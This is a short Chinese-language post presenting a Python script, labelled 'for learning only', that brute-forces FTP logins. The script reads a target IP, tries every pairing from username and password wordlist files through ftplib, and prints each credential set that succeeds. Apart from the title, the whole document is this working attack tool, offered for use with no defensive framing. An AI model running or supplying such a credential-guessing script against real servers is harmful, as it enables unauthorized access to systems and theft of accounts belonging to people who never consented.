学习Python,用其写一个黑客小脚本,仅供学习使用!
#-*-coding:utf-8-*-
import ftplib
def login(host,username,password):
try:
ftp=ftplib.FTP(host)
ftp.login(username,password)
ftp.quit()
print("破解成功!host:"+host+",username:"+username+",password:"+password)
return True
except ftplib.all_errors:
pass
if __name__ == '__main__':
host=input("IP:")
# host=line.strip('\n')
with open('username.txt','r') as users:
for line in users:
user=line.strip('\n')
with open('password.txt','r') as pwds:
for line in pwds:
pwd=line.strip('\n')
login(host,user,pwd)